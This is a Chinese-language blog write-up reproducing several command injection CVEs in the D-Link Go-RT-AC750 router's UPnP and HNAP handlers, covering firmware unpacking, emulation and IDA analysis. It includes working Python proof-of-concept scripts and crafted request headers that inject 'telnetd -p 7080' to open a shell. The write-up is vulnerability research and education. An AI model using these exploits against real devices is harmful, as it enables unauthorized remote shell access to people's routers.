D-Link Go-RT-AC750命令注入漏洞复现

道锋潜鳞
2023-08-11 / 0 评论 / 112 阅读 / 正在检测是否收录...

前言

前面的复现都是以CVE编号为主的复现,这次换个方式,以路由器型号为单位进行复现。本次复现的命令注入漏洞都是D-Link Go-RT-AC750中存在的漏洞,目前一共有五个:
202308111409143975.png

背景知识

在对D-Link Go-RT-AC750命令注入漏洞复现前先了解一些背景知识,主要是CGI和UPnP。

2.1 CGI(Common Gateway Interface)通用网关接口

CGI规定了Web服务器调用CGI程序的接口协议标准。Web服务器通过调用CGI程序实现和Web浏览器的交互, 即CGI程序接收Web浏览器发送给Web服务器的信息并进行处理, 将处理后的结果返回给Web服务器。组成CGI通信系统的是两部分:一部分是html页面,用于在浏览器上显示;另一部分则是运行在服务器上的CGI程序。

202308111409254797.png

通常情况下,服务器和CGI程序在Web环境变量的协作下,通过标准输入(stdin)和标准输出(stdout)来进行数据传递。以Go-RT-AC750的Web服务器工作流程为例:

  1. 服务器接收到浏览器传来的URL,识别URL中指定的脚本,如xx.php或xx.cgi并将其交给cgibin解析处理。
  2. 服务为CGI程序(cgibin)执行做准备,比如准备环境变量和相关参数。
  3. CGI程序(cgibin)读取标准输入和相关环境变量,执行相应处理,处理完后将结果由标准输出返回到服务器。
  4. 服务器将收到的处理结果传回浏览器。

CGI程序继承了系统的环境变量。CGI环境变量在CGI程序启动时初始化,在CGI程序结束时销毁。当CGI程序被HTTP服务器调用时,它的环境变量就会增加一些和HTTP服务相关的环境变量。下面是一些常见的和HTTP相关的环境变量(CGI程序使用getenv()函数获取环境变量,例如getenv("CONTENT_TYPE")):

202308111409412246.png

2.2 UPnP(Universal Plug and Play)通用即插即用

UPnP是由微软提出的一种通用即插即用技术,后续联合英特尔等多家科技公司共同制定了UPnP标准。UPnP主要是为了实现在“零配置”的前提下在联网设备间能自动连接和协同工作。UPnP的协议栈结构图如下:

202308111410184732.png

UPnP协议体系结构中主要协议和规范包括:

  • SSDP(Simple Service Discovery Protocol)简单服务发现协议,用于发现网络中的UPnP设备。
  • GENA(Generic Event Notification Architecture)通用事件通知结构,用于及时通知状态变化。
  • SOAP(Simple Object Access Protocol),简单对象访问协议,用于保证UPnP设备具有互操作能力。
  • XML(Extensible Markup Language)可扩展标记语言,对设备和服务进行统一的描述。

当加入一个新的UPnP设备时,工作流程如下:

  1. 设备加入网络后通过设备寻址(addressing)就可自动获得IP地址;
  2. 通过设备发现(discover)控制点就可知道网络上存在哪些设备;
  3. 通过设备描述(description)控制点就可知道设备详细信息以及设备提供哪些服务;
  4. 通过设备控制(control)控制点可以使用设备的服务;
  5. 通过设备事件(event)就可以将其状态变化及时告诉给订阅的控制点;
  6. 通过设备展示(presentation)控制点可以用浏览器察看设备状态和控制设备。

通过上述六个步骤,UPnP设备可以做到在“零配置”的前提下提供联网设备之间的自动发现、自动声明、“直接”信息交换和互操作等功能,真正实现“设备即插即用”。

这里只是给个简单介绍,具体实现细节请阅读UPnP官方文档,链接见参考文章。

固件解包及模拟

使用binwalk解包,获取文件系统:

binwalk -Me GORTAC750_A1_FW_v101b03.bin

202308111411371605.png

解包成功,浏览完文件系统中文件发现有telnetd,可用于漏洞验证:

202308111411499963.png

以调试方式模拟固件,以便分析过程中使用shell查看运行时相关信息:
202308111412022871.png
202308111412147416.png
模拟成功后扫描端口:
202308111412267816.png
202308111412337073.png
通过调试shell查看文件:/var/run/httpd.conf 可知49152是upnp服务端口。

CVE-2023-34800

4.1 漏洞分析

根据漏洞披露的信息,这个漏洞和服务参数以及genacgi_main函数有关,查找字符串genacgi_main找到相关文件htdocs/cgibin:

202308111413002194.png

将htdocs/cgibin拿到IDA中分析,并直接定位到函数genacgi_main,调用该函数的代码为:

202308111413138552.png

在cgibin程序的main函数中判断是否为gena.cgi
202308111413246180.png

genacgi_main函数的功能是:检查HTTP请求方法和判断URI中是否有?service=,若HTTP请求方法为SUBSCRIBE或UNSUBSCRIBE则调用对应的函数处理。当REQUEST_METHOD为SUBSCRIBE时,获取一些环境变量并使用sprintf函数拼接成字符串传入到xmldbc_ephp函数中处理:
202308111413346112.png
202308111414247944.png

xmldbc_ephp函数将拼接的subscribe_string 通过/var/run/xmldb_sock传入到/htdocs/upnp/run.NOTIFY.php文件中进行处理并返回处理结果到服务器。subscrib_string的内容形式为:

假设传入:SUBSCRIBE URL ?service=service_xx

/htdocs/upnp/run.NOTIFY.php\nMETHOD=SUBSCRIBE\nINF_UID=SERVER_ID\nSERVICE=service_xx\nSID=HTTP_SID\nTIMEOUT=time_xx\nSHELL_FILE=/var/run/service_xx.sh

查看/htdocs/upnp/run.NOTIFY.php文件内容:
202308111414559655.png

查找文件中涉及的函数GENA_subscribe_new:
202308111415306963.png

202308111415125955.png

202308111415201907.png

综上可知漏洞点在fwrite(a, $shell_file, "rm -f ".$shell_file."\n");代码中的目的是为了执行rm -f shell_file命令删除shell_file文件,但shell_file可通过SUBSCRIBE传入的服务参数进行控制并且全程没有任何对服务参数的检查,从而可实现命令注入。

4.2 漏洞复现

此漏洞涉及到的是UPnP的GENA(通用事件通知结构)相关内容,当设备服务状态发生变化时,会通过event通知控制点。控制点能收到通知的前提是要先订阅(SUBSCRIBE)该服务的指定event。订阅特定服务的事件的方法是:发送订阅消息到该服务的事件 URL。通过分析可知,此漏洞的触发条件是要路由器发送UPnP订阅服务的请求。根据UPnP官方文档可知订阅请求格式如下:

202308111416002020.png
202308111416087281.png
结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的subscriber的请求头如下:

SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152 
Callback: <http://192.168.0.1/>
NT: upnp:event
Timeout: Second-infinite

Poc脚本执行后,成功取得shell:

202308111416528248.png

4.3 Poc

from socket import *
from os import *
from time import *

request = b"SUBSCRIBE /gena.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Callback: <http://192.168.0.1/>\r\n"
request += b"NT: upnp:event\r\n"
request += b"Timeout: Second-infinite\r\n\r\n"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
 
sleep(10)
system('telnet 192.168.0.1 7080')

CVE-2023-26822

5.1 漏洞分析

根据漏洞披露的信息可知漏洞点和 service 参数以及 soapcgi_main 有关,在文件系统中查找soapcgi_main并定位到所在文件cgibin,将其拿到IDA中逆向分析,通过函数名查找,定位到soapcgi_main函数,调用该函数的代码如下:

202308111418008853.png

soapcgi_main中关键代码如下:
202308111421178129.png

这段代码是在获取与请求相关的环境变量,可获得的信息有:

◆REQUEST_METHOD: POST
◆CONTEXT_TYPE: text/xml
◆REQUEST_URI:含?service=
◆HTTP_SOAPACTION:含有“”,且“”中含有#

202308111421316876.png

综上分析可知,漏洞出现的原因是POST 的URI中?service=后面的内容可由输入控制,全程没有对该处输入进行检查,直接sprintf后由system函数执行。

5.2 漏洞复现

此漏洞涉及到的是UPnP的SOAP(简单对象访问协议)相关内容,SOAP主要是用于保证UPnP设备具有互操作能力。控制点可以调用UPnP设备上的服务,并接收返回结果。根据UPnP官方文档,要调用UPnP设备上的服务,控制点必须以POST方法发送以下格式的请求:

202308111421535303.png

202308111422038496.png

由上面的分析可知要构造的POST请求头如下:

POST /soap.cgi?service=;telnetd -p 7080 HTTP/1.1
Host: 192.168.0.1:49152
Content-Length: 100
Content-Type: text/xml
SOAPAction: "urn:schemas-upnp-org:service:serviceType:v#actionName"

Poc脚本执行后,成功取得shell:
202308111422181898.png

5.3 Poc

from socket import *
from os import *
from time import *

request = b"POST /soap.cgi?service=;telnetd -p 7080 HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 100\r\n"
request += b"SOAPAction: \"urn:schemas-upnp-org:service:serviceType:v#actionName\"\r\n\r\n"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
 
sleep(10)
system('telnet 192.168.0.1 7080')

CVE-2022-37057

6.1 漏洞分析

根据漏洞披露的信息可知和ssdpcgi_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索ssdpcgi_main函数,调用该函数的代码为:

202308111423219313.png

根据前面分析的漏洞可知,这次漏洞请求URL中的文件是ssdpcgi。ssdpcgi_main函数中漏洞点关键代码如下:

202308111423345051.png

根据上图代码可知要实现命令注入需要的环境变量如下:

◆HTTP_ST:uuid:
◆REMOTE_ADDR
◆REMOTE_PORT
◆SERVER_ID

这些数据被传入lxmldbc_system函数,在该函数中直接拼接执行,没有任何检查。这几个环境变量中只有HTTP_ST是需要请求头设定的,即HTTP_ST是可控制的输入,因此HTTP_ST的值即为漏洞点。

6.2 漏洞复现

此漏洞涉及到的是UPnP的SSDP(简单服务发现协议)相关内容,该协议主要是用于发现网络中的UPnP设备。控制点(用户操作的HTTP客户端)可以通过使用简单服务发现协议,根据自己的需要在网络中查询能够提供特定服务的设备。相应的设备(也就是本路由器)向控制点发出回应,声明自己的存在及能提供的服务。该协议在HTTP之下使用的是UDP。控制点需要用以下格式发送请求:

202308111423574929.png

202308111424069639.png

202308111424132186.png

综上分析,结合UPnP文档和/var/run/httpd.conf文件内容 可知要构造的请求头如下:

M-SEARCH * HTTP/1.1
Host: 192.168.0.1:1900
ST: uuid:12345;telnetd -p 7080

Poc脚本执行后,成功取得shell:

202308111424308569.png

6.3 Poc

from socket import *
from os import *
from time import *

request = b"M-SEARCH * HTTP/1.1\r\n"
request += b"Host: 192.168.0.1:1900\r\n"
request += b"ST: uuid:12345;telnetd -p 7080\r\n\r\n"
 
# Set up UDP socket
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(request, ("192.168.0.1", 1900))
s.close()
 
sleep(10)
system('telnet 192.168.0.1 7080')

CVE-2022-37056

7.1 漏洞分析

根据漏洞披露的信息可知和hnap_main函数以及cgibin文件有关,将cgibin文件拿到IDA中分析并直接搜索hnap_main函数,调用该函数的代码为:

202308111425167409.png

hnap_main函数中关键代码如下:
202308111425282769.png

代码中没有对HTTP_SOAPACTION的值进行检查,直接将其内容中“/”后的内容拼接到buffer中执行。要想HTTP_SOAPACTION的值被作为注入点执行,请求方式不能为POST,可设定为GET,URL为/HNAP1/。

7.2 漏洞复现

Poc脚本执行后,成功取得shell:

202308111425447031.png

7.3 Poc

from socket import *
from os import *
from time import *

request = b"GET /HNAP1/ HTTP/1.1\r\n"
request += b"Host: 192.168.0.1\r\n"
request += b"SOAPAction: \"http://purenetworks.com/HNAP1/GetDeviceSettings/;telnetd -p 7080;\"\r\n\r\n"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 80))
s.send(request)
 
sleep(10)
system('telnet 192.168.0.1 7080')

CVE-2022-36523

根据漏洞披露的信息,此漏洞和/htdocs/upnpinc/gena.php文件有关。查看该文件内容:
202308111426406007.png
202308111426496830.png

通过查找该文件相关函数调用关系发现此漏洞和CVE-2023-34800所提及的是同一个漏洞。那么此漏洞的复现过程及Poc见CVE-2023-34800。

复现总结

D-Link Go-RT-AC750相关的命令注入漏洞复现就告一段落了,起初看到一个设备有这么多命令注入漏洞,就很好奇会不会是同一个原因造成的,经过逐一复现后发现也能算是同一个原因,使用UPnP服务不检测输入的原因。这个固件把UPnP的GENA、SOAP、SSDP等位置的漏洞都触发了一遍,是一个很好的学习UPnP漏洞的样本。

参考文章

◆CGI编程完全手册-阿里云开发者社区 (aliyun.com)
https://developer.aliyun.com/article/244192

◆Universal Plug and Play Device Architecture (upnp.org)
http://www.upnp.org/specs/arch/UPnP-arch-DeviceArchitecture-v1.0.pdf

◆UPnP协议CallStranger漏洞影响数百万设备 - FreeBuf网络安全行业门户

https://www.freebuf.com/vuls/242386.html

◆[原创] cgibin中与upnp协议有关的一些漏洞分析与复现-智能设备-看雪-安全社区|安全招聘|kanxue.com

https://bbs.kanxue.com/thread-272634.htm

◆ 来源: https://mp.weixin.qq.com/s/Org5SNM_5uj3mvap_rSpug

0

评论 (0)

取消